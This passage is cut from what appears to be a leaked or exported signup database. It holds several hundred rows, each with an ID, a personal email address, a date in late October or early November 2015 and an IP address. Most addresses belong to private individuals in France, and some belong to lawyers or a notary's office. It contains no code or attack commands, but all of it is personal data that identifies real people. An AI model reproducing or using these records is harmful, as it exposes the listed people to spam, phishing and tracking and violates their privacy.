20:23:34;89.158.128.172 +14896;faby-xv@hotmail.fr;2015-10-23 20:28:40;86.202.226.7 +14897;lolowojtuch@orange.fr;2015-10-23 20:36:30;90.57.130.169 +14898;mlesage02240@gmail.com;2015-10-23 21:59:10;90.58.24.12 +14899;noureddine.messafeur@orange.fr;2015-10-23 22:09:33;81.48.130.237 +14900;jennifer.hamel@dbmail.com;2015-10-23 22:09:52;78.206.242.50 +14901;louloublue.cg@gmail.com;2015-10-23 22:22:07;78.195.160.79 +14902;imaj.nancy@gmail.com;2015-10-23 23:15:09;85.68.246.252 +14903;angelique.dg.roux@gmail.com;2015-10-24 05:56:08;89.83.170.213 +14904;nathalie.marmoy@gmail.com;2015-10-24 07:02:00;109.221.159.100 +14905;sarah.delhoumeau@laposte.net;2015-10-24 07:28:55;88.188.116.152 +14906;kate52100@free.fr;2015-10-24 09:11:38;82.224.138.18 +14907;nadege_gaetan@yahoo.fr;2015-10-24 09:19:18;95.170.61.70 +14908;isabelle.menger@wanadoo.fr;2015-10-24 09:47:47;90.40.198.134 +14909;botrel.estelle@wanadoo.fr;2015-10-24 10:10:59;78.218.227.33 +14910;valerie.hannon@icloud.Com;2015-10-24 10:15:54;109.88.149.229 +14911;mariongat@yahoo.fr;2015-10-24 10:33:37;193.253.178.204 +14912;cicilop2011@gmail.com;2015-10-24 10:45:43;46.193.168.189 +14913;nelly.scuito@bbox.fr;2015-10-24 11:00:36;176.188.161.21 +14914;huertamuriel@gmail.com;2015-10-24 12:23:59;92.130.160.8 +14915;ldoribreux@orange.fr;2015-10-24 12:27:48;81.250.233.57 +14916;populart74@gmail.com;2015-10-24 13:16:08;78.127.25.253 +14917;helene.33490@live.fr;2015-10-24 13:21:09;84.97.36.227 +14918;ccovillard@covillard-avocat.fr;2015-10-24 13:52:30;176.189.252.196 +14919;yannickfavennec@sfr.fr;2015-10-24 14:08:02;88.139.142.201 +14920;catherine.perez84@sfr.fr;2015-10-24 14:13:54;79.85.202.212 +14921;maxilealu@gmail.com;2015-10-24 15:17:56;92.148.29.140 +14922;aloncamar@gmail.com;2015-10-24 15:20:12;2.138.120.198 +14923;sophie.hervoche@gmail.com;2015-10-24 15:27:15;83.157.79.212 +14924;jenyferh57@gmail.com;2015-10-24 15:27:28;93.11.127.9 +14925;catherine.guilbaud44@gmail.com;2015-10-24 15:30:37;78.200.38.89 +14926;sabineregnier04@gmail.com;2015-10-24 16:20:17;86.67.83.8 +14927;lachambrenoire@wanadoo.fr;2015-10-24 17:12:05;193.251.10.79 +14928;xalyne@wanadoo.fr;2015-10-24 17:14:39;83.195.3.73 +14929;delbiz@neuf.fr;2015-10-24 17:21:55;89.89.221.34 +14930;annelaure@gmail.com;2015-10-24 18:07:10;89.89.189.14 +14931;lagadec.leru@orange.fr;2015-10-24 18:23:23;81.53.107.32 +14932;dominique.lamidieu@gmail.com;2015-10-24 18:27:53;83.194.216.154 +14933;beanord@free.fr;2015-10-24 18:38:38;82.238.54.156 +14934;gsayuki@gmail.com;2015-10-24 18:51:55;109.208.220.37 +14935;mje73@orange.fr;2015-10-24 19:07:00;88.125.99.83 +14936;valerie.meunier3@bbox.fr;2015-10-24 19:15:24;31.33.34.209 +14937;claude.lukasiewicz@wandoo.fr;2015-10-24 19:28:23;90.43.226.158 +14938;svalosio@gmail.com;2015-10-24 20:31:50;2.4.6.113 +14939;josy.letiec@gmail.com;2015-10-24 20:43:18;88.122.92.114 +14940;catherinelecomte@yahoo.fr;2015-10-24 20:45:02;78.233.6.11 +14941;deresende@sfr.fr;2015-10-24 21:15:38;87.91.71.102 +14942;trichard.audrey@orange.fr;2015-10-24 23:19:42;83.197.92.173 +14943;helenevannier@orange.fr;2015-10-25 00:13:26;109.222.227.94 +14944;chrisdelerue@free.fr;2015-10-25 00:57:51;80.12.39.197 +14945;hay.dominique@sfr.fr;2015-10-25 06:51:25;109.28.148.17 +14946;veroniqmorin@gmail.com;2015-10-25 07:03:09;88.172.32.159 +14947;valerie.wagner@yahoo.fr;2015-10-25 09:23:52;109.133.107.183 +14948;danielle.mutte@orange.fr;2015-10-25 09:38:44;83.198.64.244 +14949;manuela.desmarest@gmail.com;2015-10-25 09:42:32;78.240.160.177 +14950;rapp.charlene@laposte.net;2015-10-25 09:49:46;78.250.212.213 +14951;priscilla3131@live.fr;2015-10-25 10:13:10;92.145.129.24 +14952;brigitte.garcia83@orange.fr;2015-10-25 10:48:05;90.55.182.126 +14953;roseblanche13@outlook.fr;2015-10-25 11:49:47;109.208.242.152 +14954;lilie137@hotmail.com;2015-10-25 12:11:43;82.246.222.53 +14955;samuel.bonniere@orange.fr;2015-10-25 12:38:33;78.202.106.92 +14956;joao_carlos96@hotmail.com;2015-10-25 13:09:00;81.11.249.220 +14957;de.depiere@laposte.net;2015-10-25 13:15:18;195.36.251.124 +14958;montreal2@wanadoo.fr;2015-10-25 13:55:15;81.49.120.223 +14959;math-fef@hotmail.fr;2015-10-25 14:56:12;31.36.199.81 +14960;pepette19@hotmail.com;2015-10-25 15:35:14;90.31.72.185 +14961;valnaulleau94@orange.fr;2015-10-25 16:16:44;83.199.194.164 +14962;brianth@wanadoo.fr;2015-10-25 16:43:46;90.15.219.3 +14963;taliaregnard@gmail.com;2015-10-25 16:50:44;176.188.202.227 +14964;laurie.58@live.fr;2015-10-25 17:02:57;89.86.209.152 +14965;abernadette71@free.fr;2015-10-25 17:10:17;88.167.244.18 +14966;ch.beauvais@gmail.com;2015-10-25 17:47:29;83.201.82.18 +14967;d.tommasi09@orange.fr;2015-10-25 18:45:07;109.215.145.203 +14968;nicolecapon@orange.fr;2015-10-25 19:26:30;90.47.25.47 +14969;martinesaulnier@free.fr;2015-10-25 19:45:35;78.236.185.119 +14970;titinemunoz@live.fr;2015-10-25 20:02:21;90.41.233.69 +14971;dominique.gerard43@gmail.com;2015-10-25 20:23:12;78.129.63.85 +14972;evrard.cam@gmail.com;2015-10-25 20:29:26;82.240.59.112 +14973;mmasclau@hotmail.fr;2015-10-25 21:09:04;78.211.72.1 +14974;renee.dehait@hotmail.fr;2015-10-25 21:40:38;81.67.139.244 +14975;virginie.cardinal@yahoo.fr;2015-10-25 22:12:44;78.216.98.143 +14976;patrick.litard@free.fr;2015-10-25 22:15:03;78.204.86.16 +14977;julie.baumgarthen@laposte.net;2015-10-25 23:52:46;83.195.114.87 +14978;josetteeyrolle@yahoo.fr;2015-10-26 01:25:10;84.97.215.207 +14979;nat210@hotmail.fr;2015-10-26 08:24:37;78.238.190.5 +14980;belloirj@hotmail.fr;2015-10-26 08:36:17;78.123.91.74 +14981;beatrice.julienne@gmail.com;2015-10-26 09:23:57;80.82.236.11 +14982;minasssian.marc@neuf.fr;2015-10-26 09:24:46;93.2.246.78 +14983;lac76@free.fr;2015-10-26 09:55:01;78.223.151.243 +14984;nferjoux@gmail.com;2015-10-26 10:09:25;92.103.34.250 +14985;mcavril@free.fr;2015-10-26 10:33:59;194.11.254.132 +14986;charlyne.pn@gmail.com;2015-10-26 10:51:01;212.234.66.108 +14987;julietouron@yahoo.fr;2015-10-26 10:57:09;91.223.84.16 +14988;stephanie.proth@wanadoo.fr;2015-10-26 10:59:15;83.196.77.63 +14989;eliina60@hotmail.com;2015-10-26 11:02:16;83.192.85.17 +14990;celinelescude@yahoo.fr;2015-10-26 11:35:34;92.89.93.147 +14991;roger.brunet@bbox.fr;2015-10-26 11:36:08;89.84.162.252 +14992;nelly.maurel@gmail.com;2015-10-26 11:52:03;90.20.117.194 +14993;ysa.bandit@hotmail.fr;2015-10-26 11:55:23;80.215.178.229 +14994;sophie-d.t@hotmail.fr;2015-10-26 12:31:24;86.199.30.16 +14995;isabelleribiere@yahoo.fr;2015-10-26 12:32:49;109.1.97.97 +14996;michelemessa@hotmail.fr;2015-10-26 12:37:37;31.38.157.175 +14997;pauline.dubois48@orange.fr;2015-10-26 13:06:30;86.211.55.207 +14998;krol_hanin@orange.fr;2015-10-26 13:14:39;198.103.104.11 +14999;florences47@orange.fr;2015-10-26 13:18:35;109.220.246.145 +15000;laferrieremichelle@orange.fr;2015-10-26 13:26:23;2.2.181.18 +15001;JULLIEN.MAG06@GMAIL.COM;2015-10-26 14:38:00;37.142.178.147 +15002;dulas.annesophie@gmail.com;2015-10-26 15:29:03;2.10.171.163 +15003;mander.morgane@gmail.com;2015-10-26 15:51:44;78.231.243.22 +15004;mkorn39@gmail.com;2015-10-26 15:53:16;80.12.63.32 +15005;valtaradel@gmail.com;2015-10-26 16:11:59;5.23.42.146 +15006;coralie.morey@gmail.com;2015-10-26 16:12:53;109.217.166.52 +15007;marielleruffaud@aol.com;2015-10-26 16:17:18;86.216.92.62 +15008;vero.decombe@gmail.com;2015-10-26 17:05:57;193.253.248.40 +15009;christinesor@hotmail.fr;2015-10-26 17:27:41;78.225.82.226 +15010;barbarin.julie@gmail.com;2015-10-26 18:17:22;90.37.27.149 +15011;valerie.panicali@free.fr;2015-10-26 18:18:12;88.169.57.102 +15012;christophe.poutissous@orange.fr;2015-10-26 18:37:24;2.6.68.183 +15013;narjas.benmustapha@laposte.net;2015-10-26 19:25:11;78.209.123.63 +15014;aurore.lamauviniere@ac-reims.fr;2015-10-26 20:12:51;86.192.153.200 +15015;t.perichou@orange.fr;2015-10-26 20:16:58;92.145.71.216 +15016;portarrieu@free.fr;2015-10-26 20:19:04;88.166.177.68 +15017;spingliezitm@gmail.com;2015-10-26 20:43:16;90.18.2.20 +15018;madoww@gmail.com;2015-10-26 20:43:17;82.241.4.67 +15019;sylvie_rosenholtz@hotmail.com;2015-10-26 20:56:11;109.88.158.213 +15020;brunodile01@yahoo.fr;2015-10-26 21:00:18;88.187.188.139 +15021;vrichardot@free.fr;2015-10-26 21:29:02;88.166.158.90 +15022;spinosi.olivia@yahoo.fr;2015-10-26 22:28:01;84.6.192.202 +15023;m.redon@live.fr;2015-10-26 22:31:06;86.216.190.7 +15024;delphine.chapuis29@orange.fr;2015-10-26 22:39:30;109.212.48.11 +15025;myenabla@hotmail.fr;2015-10-26 22:40:18;109.218.150.81 +15026;fvhpoulain@gmail.com;2015-10-26 23:53:37;109.133.159.41 +15027;orianep@hotmail.com;2015-10-27 00:10:44;88.163.191.149 +15028;amir343343@live.fr;2015-10-27 04:41:06;77.130.181.30 +15029;ch_lambert51@hotmail.com;2015-10-27 07:14:23;77.148.191.245 +15030;ARLETTE.RE@ORANGE.FR;2015-10-27 08:17:49;109.210.225.240 +15031;soyerdenise@gmail.com;2015-10-27 08:23:58;78.230.53.6 +15032;Betty7361@yahoo.fr;2015-10-27 08:46:50;88.186.71.7 +15033;ambrosinochristine@orange.fr;2015-10-27 08:51:33;80.11.187.91 +15034;christiane.duval@orange.fr;2015-10-27 09:17:34;90.58.184.237 +15035;nathlegac@hotmail.fr;2015-10-27 09:31:54;79.81.129.142 +15036;mfr.donson@orange.fr;2015-10-27 10:11:31;109.212.5.48 +15037;marie.rouvet@orange.fr;2015-10-27 10:40:10;90.19.218.53 +15038;elodie.decagny@orange.fr;2015-10-27 11:07:26;92.103.12.87 +15039;moutone.me@hotmail.fr;2015-10-27 11:13:34;82.246.88.224 +15040;nanou.baquey@wanadoo.fr;2015-10-27 11:17:12;90.46.219.169 +15041;daphne_leveque@yahoo.fr;2015-10-27 12:33:27;158.169.150.9 +15042;marie.deparis@club-internet.fr;2015-10-27 12:51:52;77.201.231.155 +15043;elodie.bechard@laposte.net;2015-10-27 13:05:43;213.244.13.66 +15044;mt.serme07@orange.fr;2015-10-27 13:31:56;193.252.25.55 +15045;bettina_durant@yahoo.fr;2015-10-27 13:36:25;109.215.35.140 +15046;manu.prouvost@gmail.com;2015-10-27 14:56:33;46.218.210.122 +15047;dams.v@hotmail.fr;2015-10-27 15:16:13;78.125.176.213 +15048;v.luyo@cbsformation.com;2015-10-27 16:27:08;86.212.178.248 +15049;audrey.limousin@neuf.fr;2015-10-27 16:38:50;95.210.221.131 +15050;esavrot@gmail.com;2015-10-27 16:40:59;149.226.255.199 +15051;klararaucourt@hotmail.fr;2015-10-27 16:42:42;109.221.140.112 +15052;guylainepolano@gmail.com;2015-10-27 16:50:45;2.14.229.148 +15053;karine.pelchat@gmail.com;2015-10-27 16:51:26;128.127.130.17 +15054;verochanson@hotmail.fr;2015-10-27 17:06:20;84.14.94.232 +15055;annabel.martin@free.fr;2015-10-27 17:07:32;79.93.6.65 +15056;morin@antadis.com;2015-10-27 17:44:05;88.163.22.99 +15057;rastier.laurent@idyle-telecom.com;2015-10-27 18:20:48;80.13.155.31 +15058;fmorganti@live.fr;2015-10-27 19:36:20;92.148.23.92 +15059;heleneaubrit@gmail.com;2015-10-27 20:26:11;79.153.72.214 +15060;c.perillat.avocat@free.fr;2015-10-27 21:28:29;82.252.234.185 +15061;philippe.telesnicki@wanadoo.fr;2015-10-27 21:29:42;90.19.181.229 +15062;ttoopp_love@yahoo.fr;2015-10-27 21:35:48;197.117.78.59 +15063;juliie_t@yahoo.fr;2015-10-27 22:13:18;92.149.27.79 +15064;g.nourry22@gmail.com;2015-10-27 22:15:57;86.75.161.43 +15065;flo100480@orange.fr;2015-10-27 22:39:45;109.211.123.226 +15066;jul08800@hotmail.fr;2015-10-27 22:40:40;83.192.154.192 +15067;eric.salaville@gmail.com;2015-10-27 22:42:55;90.4.236.154 +15068;chretienne.jb@gmail.com;2015-10-28 00:17:11;46.193.139.111 +15069;paigemoi@yahoo.fr;2015-10-28 04:00:50;109.30.129.19 +15070;clf.blaise@orange.fr;2015-10-28 04:55:13;92.160.44.192 +15071;katmando@wanadoo.fr;2015-10-28 08:29:57;86.209.132.89 +15072;j.sardin@orange.fr;2015-10-28 09:13:11;90.53.124.43 +15073;christine.v@orange.fr;2015-10-28 09:35:15;82.122.10.122 +15074;chrystel.vergnes@yahoo.fr;2015-10-28 10:18:03;90.83.233.188 +15075;aurore.pasquier4@orange.fr;2015-10-28 10:18:54;92.160.34.15 +15076;marieravignon@msn.com;2015-10-28 10:58:03;78.204.209.139 +15077;beloeilchristiane@gmail.com;2015-10-28 13:06:51;86.219.11.43 +15078;carolinegalanddedieu@gmail.com;2015-10-28 13:32:31;77.148.158.61 +15079;saker.dalila@club-internet.fr;2015-10-28 14:38:54;85.158.138.20 +15080;emilielecorne@free.fr;2015-10-28 15:07:13;83.152.96.212 +15081;spagnoli.family@orange.fr;2015-10-28 15:08:01;83.113.96.28 +15082;hacquard.carmela@wanadoo.fr;2015-10-28 15:09:46;92.161.83.116 +15083;jackieperret@orange.fr;2015-10-28 15:33:56;78.238.33.124 +15084;patricia.clar@free.fr;2015-10-28 15:35:07;88.167.174.132 +15085;nelly.dupas@orange.fr;2015-10-28 15:36:13;90.6.132.54 +15086;emilie.morville@gmail.com;2015-10-28 17:01:51;213.41.115.228 +15087;NAS2113@HOTMAIL.COM;2015-10-28 17:52:00;82.247.247.239 +15088;pascaleroumens@hotmail.fr;2015-10-28 18:28:12;81.220.93.46 +15089;bea.fribault@orange.fr;2015-10-28 18:30:25;83.195.132.40 +15090;nat.rampon@gmail.com;2015-10-28 19:09:18;87.91.202.148 +15091;laurine.sadrija@gmail.com;2015-10-28 19:19:56;83.153.5.142 +15092;zubverl@yahoo.fr;2015-10-28 19:34:54;82.245.239.62 +15093;laura.miquel@outlook.fr;2015-10-28 19:47:49;79.82.117.182 +15094;ctardef@gmail.com;2015-10-28 20:30:20;86.219.54.51 +15095;g.sev-ghis@orange.fr;2015-10-28 20:46:25;86.218.169.67 +15096;gerard-celine@hotmail.fr;2015-10-28 20:47:07;78.228.8.166 +15097;fanyalida@hotmail.com;2015-10-28 22:10:21;49.200.243.37 +15098;chabal.alexandra@bbox.fr;2015-10-28 22:32:45;176.187.227.62 +15099;tesora2@hotmail.fr;2015-10-28 23:31:51;83.206.150.85 +15100;cosselolo@hotmail.fr;2015-10-29 05:57:36;109.222.76.90 +15101;monique-de-latour@hotmail.fr;2015-10-29 07:45:03;86.207.119.118 +15102;Tina.vandenbroeck@gmail.com;2015-10-29 08:03:06;81.11.177.121 +15103;lescassandre@gmail.com;2015-10-29 08:36:29;86.219.124.134 +15104;celinepuigleconte@orange.fr;2015-10-29 09:33:03;213.152.19.34 +15105;deb.84@live.fr;2015-10-29 09:37:27;213.41.151.119 +15106;laetitia.fernandez736@wanadoo.fr;2015-10-29 10:34:44;79.94.130.82 +15107;flore.perche@gmail.com;2015-10-29 10:43:41;93.0.20.153 +15108;p.foulon.75021@paris.notaires.fr;2015-10-29 11:22:31;213.152.18.19 +15109;franck.calissi@wanadoo.fr;2015-10-29 11:27:49;92.129.194.194 +15110;linda.godfroid@nordnet.fr;2015-10-29 11:45:31;90.50.24.56 +15111;isabelle.aru@euromaster.com;2015-10-29 12:41:11;82.196.52.11 +15112;celineblanchon@hotmail.fr;2015-10-29 12:49:16;86.64.142.20 +15113;eli-hardy@hotmail.com;2015-10-29 13:18:48;87.64.14.47 +15114;valerieduc8@hotmail.com;2015-10-29 13:50:46;86.207.153.69 +15115;sandra-carina-mf@hotmail.com;2015-10-29 14:34:27;77.145.157.124 +15116;chanuadeline@gmail.com;2015-10-29 14:49:53;81.255.157.156 +15117;jean@jean.com;2015-10-29 17:05:36;85.233.205.101 +15118;jean@yahoo.fr;2015-10-29 17:05:53;85.233.205.101 +15119;paulinerougeau74@yahoo.fr;2015-10-29 17:10:42;109.25.131.40 +15120;nathalie.barbe1@free.fr;2015-10-29 17:21:57;86.195.50.42 +15121;agnesfayard@yahoo.fr;2015-10-29 18:00:56;212.64.228.99 +15122;jeanaurelie@hotmail.com;2015-10-29 18:04:26;85.69.184.235 +15123;lasphinge@hotmail.fr;2015-10-29 18:11:23;84.102.30.9 +15124;deswartedominique@gmail.com;2015-10-29 18:47:39;86.228.66.49 +15125;anais-richard@outlook.fr;2015-10-29 18:49:35;92.151.254.241 +15126;stmartin89@orange.fr;2015-10-29 19:15:42;78.213.5.229 +15127;soso1805@orange.fr;2015-10-29 20:16:44;109.211.53.199 +15128;stphanie.renaudier@orange.fr;2015-10-29 20:45:13;90.59.42.195 +15129;jclg.guillier@wanadoo.fr;2015-10-29 21:35:24;90.23.232.90 +15130;sylvia.cochet@gmail.com;2015-10-29 21:43:54;83.159.26.78 +15131;stephbrabant@hotmail.fr;2015-10-29 22:07:54;176.149.219.56 +15132;valeriepayen@wanadoo.fr;2015-10-30 00:10:28;90.22.61.61 +15133;gervysandra@gmail.com;2015-10-30 06:49:43;89.90.103.221 +15134;porte.papat@free.fr;2015-10-30 07:13:21;80.215.156.32 +15135;1038767000@qq.com;2015-10-30 07:37:51;116.253.81.231 +15136;audrey.epailly@laposte.net;2015-10-30 09:43:15;92.161.181.66 +15137;Mijo17100@hotmail.fr;2015-10-30 09:54:43;80.12.59.116 +15138;lena.logatcheva@mail.ru;2015-10-30 10:43:23;78.119.19.5 +15139;leunis.samantha@live.be;2015-10-30 10:52:08;80.200.213.89 +15140;b-angie@live.fr;2015-10-30 11:00:25;130.79.116.16 +15141;boucrot.jehanne@laposte.net;2015-10-30 11:14:21;217.109.244.17 +15142;helene.ducrosm@wanadoo.fr;2015-10-30 13:01:24;92.145.114.101 +15143;Sandradonat@hotmail.fr;2015-10-30 14:08:50;82.127.86.118 +15144;sylvie.benizeri@yahoo.fr;2015-10-30 14:59:14;82.229.50.62 +15145;vie.cinema@gmail.com;2015-10-30 15:04:44;86.202.166.56 +15146;k.pepin@hotmail.com;2015-10-30 15:09:50;79.91.195.60 +15147;nattesvanina@yahoo.fr;2015-10-30 15:17:21;163.116.6.12 +15148;francis.malmasson@neuf.fr;2015-10-30 15:37:24;88.182.152.101 +15149;denise.guazzo@gmail.com;2015-10-30 15:39:45;109.88.102.242 +15150;vanessa.demicheli@laposte.net;2015-10-30 16:03:15;90.63.15.27 +15151;pauloch@voila.fr;2015-10-30 16:07:12;90.20.237.188 +15152;mcitier@orange.fr;2015-10-30 17:42:49;90.37.180.197 +15153;laura.creus@outlook.com;2015-10-30 18:08:49;93.12.242.198 +15154;ecklesblanche@yahoo.fr;2015-10-30 18:45:32;90.20.147.49 +15155;elizabeth.lefebvre@orange.fr;2015-10-30 19:12:58;109.217.131.90 +15156;martine.cattin@wanadoo.fr;2015-10-30 19:20:28;92.137.78.173 +15157;krampoueizh56@hotmail.fr;2015-10-30 20:50:30;86.212.20.179 +15158;carlilau@hotmail.fr;2015-10-30 21:10:35;82.242.62.95 +15159;arco-57@hotmail.fr;2015-10-30 21:18:54;81.220.203.181 +15160;meyer.sabine@orange.fr;2015-10-30 21:21:51;92.130.237.107 +15161;liloou0208@hotmail.fr;2015-10-30 21:27:54;93.13.199.127 +15162;natiganne@neuf.fr;2015-10-30 21:31:35;84.97.177.232 +15163;nathalie.kaffanke@sfr.fr;2015-10-30 21:51:15;93.1.56.187 +15164;auffret.nathalie0072@orange.fr;2015-10-30 22:00:33;2.2.166.54 +15165;carpe-diem-23@live.fr;2015-10-30 22:30:45;88.138.236.124 +15166;virginie.briot@yahoo.fr;2015-10-30 23:28:37;176.148.138.54 +15167;chips-2004@hotmail.fr;2015-10-31 00:58:40;5.49.150.190 +15168;oliviaroyer@yahoo.fr;2015-10-31 09:29:26;109.214.207.232 +15169;isabellehuguet@wanadoo.fr;2015-10-31 10:10:22;90.16.193.70 +15170;lipton22@sfr.fr;2015-10-31 11:39:37;95.157.145.250 +15171;ph.chenemaillard@yahoo.fr;2015-10-31 11:50:41;90.19.143.83 +15172;aurore@orange.fr;2015-10-31 11:55:48;90.21.66.23 +15173;sylvie.wadin@gmail.com;2015-10-31 12:54:39;2.5.208.108 +15174;marlene.l@sfr.fr;2015-10-31 13:03:01;93.11.93.42 +15175;i.perroux@orange.fr;2015-10-31 13:44:20;2.4.205.39 +15176;blumylene@gmail.com;2015-10-31 14:12:43;78.204.144.69 +15177;mapigin@free.fr;2015-10-31 14:49:09;88.176.188.73 +15178;caroline.bland@hotmail.com;2015-10-31 15:59:42;83.79.201.250 +15179;fmagnin123@gmail.com;2015-10-31 16:29:20;88.166.252.145 +15180;dodomons@neuf.fr;2015-10-31 16:49:41;92.136.9.165 +15181;maryannick.audren@laposte.net;2015-10-31 18:00:18;78.243.148.97 +15182;claudinebil@yahoo.fr;2015-10-31 18:39:48;85.168.242.190 +15183;atanchaletteà@yahoo.fr;2015-10-31 19:24:57;88.126.14.133 +15184;jo.herpin@hotmail.con;2015-10-31 19:44:40;78.215.52.4 +15185;jennifercotting@gmail.com;2015-10-31 20:53:39;86.223.23.167 +15186;bouillet.veronique@orange.fr;2015-10-31 21:14:48;90.6.110.24 +15187;anoukcotillot@yahoo.fr;2015-10-31 21:50:24;82.225.168.154 +15188;catcatsjx@gmail.com;2015-10-31 22:01:23;73.157.18.221 +15189;lindachibani@hotmail.com;2015-10-31 22:07:59;77.147.59.187 +15190;milourichp1@hotmail.fr;2015-10-31 22:29:29;92.131.69.33 +15191;dbrunet@hotmail.fr;2015-11-01 00:18:21;82.231.175.62 +15192;colette9louison@orange.fr;2015-11-01 00:18:24;90.15.64.104 +15193;fredericedde13@gmail.com;2015-11-01 08:53:05;83.200.215.47 +15194;chacha16_82@hotmail.fr;2015-11-01 08:56:57;86.205.98.119 +15195;marie.demurcia@free.fr;2015-11-01 09:40:44;88.169.136.96 +15196;thalie38@hotmail.com;2015-11-01 09:47:55;78.234.143.106 +15197;tatiana.le.cerf@gmail.com;2015-11-01 09:58:19;90.43.210.14 +15198;muriel.priol@free.fr;2015-11-01 10:48:29;78.226.158.68 +15199;jp.jary@orange.fr;2015-11-01 10:57:24;90.59.182.90 +15200;noguierb@gmail.com;2015-11-01 11:50:07;80.12.35.117 +15201;veromengwasser54@orange.fr;2015-11-01 12:09:24;109.221.68.161 +15202;elidrissi-samira@hotmail.com;2015-11-01 12:47:25;149.154.220.84 +15203;rosaribeiro26@hotmail.com;2015-11-01 12:56:39;109.210.230.232 +15204;ag.wilkosz@laposte.net;2015-11-01 13:46:30;85.169.56.63 +15205;nawalelbanay@gmail.com;2015-11-01 13:51:50;80.215.203.110 +15206;salima_chiboub@yahoo.fr;2015-11-01 13:59:21;93.1.200.177 +15207;delphinesalle@gmail.com;2015-11-01 14:08:06;78.194.28.213 +15208;elodie.raillot@hotmail.fr;2015-11-01 14:12:42;90.23.154.86 +15209;ludmilla.meroni@wanadoo.fr;2015-11-01 14:19:42;92.152.134.221 +15210;pscldrm@gmail.com;2015-11-01 14:31:21;86.219.235.223 +15211;alexange.44@gmail.com;2015-11-01 15:10:56;79.86.67.55 +15212;donadini.kelly@live.fr;2015-11-01 15:35:57;93.25.190.8 +15213;lea.laglasse@live.fr;2015-11-01 15:59:13;86.206.2.22 +15214;virginie.gohier@wanadoo.fr;2015-11-01 16:10:16;82.228.205.118 +15215;muriel.fourniou@gmail.com;2015-11-01 16:34:00;195.83.115.129 +15216;claire.cornelise@gmail.com;2015-11-01 17:34:37;86.218.138.179 +15217;yasmina.deconinck@hotmail.fr;2015-11-01 18:24:40;88.162.169.131 +15218;vanessa_masson@yahoo.fr;2015-11-01 19:14:22;86.201.14.53 +15219;anne-flore.fourny@hotmail.fr;2015-11-01 19:40:08;83.152.160.172 +15220;sonia.gollain@gmail.com;2015-11-01 20:00:47;81.50.28.9 +15221;caro.briot@free.fr;2015-11-01 20:10:04;82.230.23.60 +15222;pierre-lemois@wanadoo.fr;2015-11-01 20:34:40;92.135.18.84 +15223;sandra.pinault@hotmail.fr;2015-11-01 20:54:17;90.54.195.175 +15224;pascale.sanuy@wanacdoo.fr;2015-11-01 21:42:15;86.193.39.21 +15225;montanoguy@wanadoo.fr;2015-11-01 21:49:14;90.23.232.133 +15226;mahinice@gmail.com;2015-11-01 21:51:59;86.193.168.159 +15227;c.so@aliceadsl.fr;2015-11-01 23:05:16;78.249.233.242 +15228;eva.deleongarrido@gmail.com;2015-11-01 23:16:14;88.26.54.213 +15229;karine.jonet@hotmail.be;2015-11-02 06:23:27;109.88.36.149 +15230;jocelyne.morand@sfr.fr;2015-11-02 07:38:05;79.83.23.94 +15231;jmounier@aliceadsl.fr;2015-11-02 09:08:53;78.236.184.96 +15232;marion.renelier@orange.fr;2015-11-02 10:11:00;109.12.202.70 +15233;girardc@hotmail.fr;2015-11-02 10:22:31;81.64.167.215 +15234;lysa.mx@gmail.com;2015-11-02 10:34:06;84.14.49.210 +15235;ravetstella@orange.fr;2015-11-02 10:55:42;92.143.42.208 +15236;adeline-coulon@laposte.net;2015-11-02 10:56:13;31.33.26.210 +15237;francoispadilla@orange.fr;2015-11-02 11:44:57;89.225.200.181 +15238;lucie_delaroque@hotmail.com;2015-11-02 11:46:08;90.51.112.2 +15239;panik.defontaine@gmail.com;2015-11-02 12:06:24;90.63.6.187 +15240;pamafot@hotmail.Fr;2015-11-02 12:49:03;213.41.235.241 +15241;famil.brunet@free.fr;2015-11-02 13:30:36;78.242.154.149 +15242;mchrystine@gmail.com;2015-11-02 13:43:33;46.218.46.130 +15243;bamcroze@yahoo.fr;2015-11-02 13:48:28;193.253.242.226 +15244;marie.nesi@orange.fr;2015-11-02 13:50:40;90.30.11.242 +15245;degonse.julia@gmail.com;2015-11-02 13:54:55;176.189.178.116 +15246;emilyyy.emilyyy@yahoo.fr;2015-11-02 14:26:38;88.160.28.56 +15247;maite.bourgade@gmail.com;2015-11-02 14:28:32;195.132.25.7 +15248;chrystele.vigneron@gmail.com;2015-11-02 14:30:23;92.152.27.73 +15249;krisougwen@gmail.com;2015-11-02 15:03:09;84.14.226.234 +15250;alexia.barrachin@gmail.com;2015-11-02 15:22:40;86.200.179.159 +15251;halimanouni@yahoo.es;2015-11-02 16:54:07;109.111.104.244 +15252;pascale.mention@free.fr;2015-11-02 18:00:10;88.126.100.192 +15253;nadegekerguen@hotmail.fr;2015-11-02 18:49:28;109.20.217.21 +15254;cgpoules@orange.fr;2015-11-02 19:16:35;176.147.61.183 +15255;chocky94@voila.fr;2015-11-02 19:42:26;88.182.214.97 +15256;evelyne.sondag@wanadoo.fr;2015-11-02 19:54:05;90.23.72.45 +15257;guiguetmc@hotmail.com;2015-11-02 20:07:32;79.92.196.10 +15258;catherinebreard@sfr.fr;2015-11-02 20:20:26;88.136.226.100 +15259;mcb856@hotmail.fr;2015-11-02 20:56:25;77.153.249.78 +15260;catielagorce@gmail.com;2015-11-02 21:21:20;81.249.33.8 +15261;lolitainpetika@orange.fr;2015-11-02 21:21:38;83.201.141.93 +15262;isa.conseil@gmail.com;2015-11-02 22:11:50;77.132.209.119 +15263;veroenclos@hotmail.com;2015-11-02 22:12:42;90.43.60.239 +15264;sophie.riviere@gmail.com;2015-11-02 23:03:11;87.67.207.216 +15265;kinou.11@wanadoo.fr;2015-11-02 23:09:20;86.202.221.239 +15266;marijad@hotmail.fr;2015-11-03 00:53:36;90.215.249.108 +15267;h.nedjah@hotmail.fr;2015-11-03 01:55:43;82.232.243.126 +15268;oreosouf@hotmail.com;2015-11-03 07:35:32;37.18.172.104 +15269;follet.lysiane@orange.fr;2015-11-03 07:53:40;83.192.227.232 +15270;fritzy71@hotmail.cpm;2015-11-03 08:32:26;88.207.202.100 +15271;soazic.colette@orange.fr;2015-11-03 08:55:25;83.115.242.95 +15272;haingo.salomon@hotmail.com;2015-11-03 09:12:58;154.67.31.90 +15273;tybadou@hotmail.fr;2015-11-03 09:16:39;84.101.52.190 +15274;palmiersylvie@gmail.com;2015-11-03 09:22:10;162.38.196.14 +15275;fanykuntz@free.fr;2015-11-03 10:26:06;88.189.76.186 +15276;clau50@wanadoo.fr;2015-11-03 11:27:25;2.14.74.41 +15277;chris.len.infini@gmail.com;2015-11-03 11:36:40;176.145.158.13 +15278;sebdabasset@kiwi-fibre.fr;2015-11-03 11:37:54;77.240.202.180 +15279;ALINE.GIESZCZYK@FREE.FR;2015-11-03 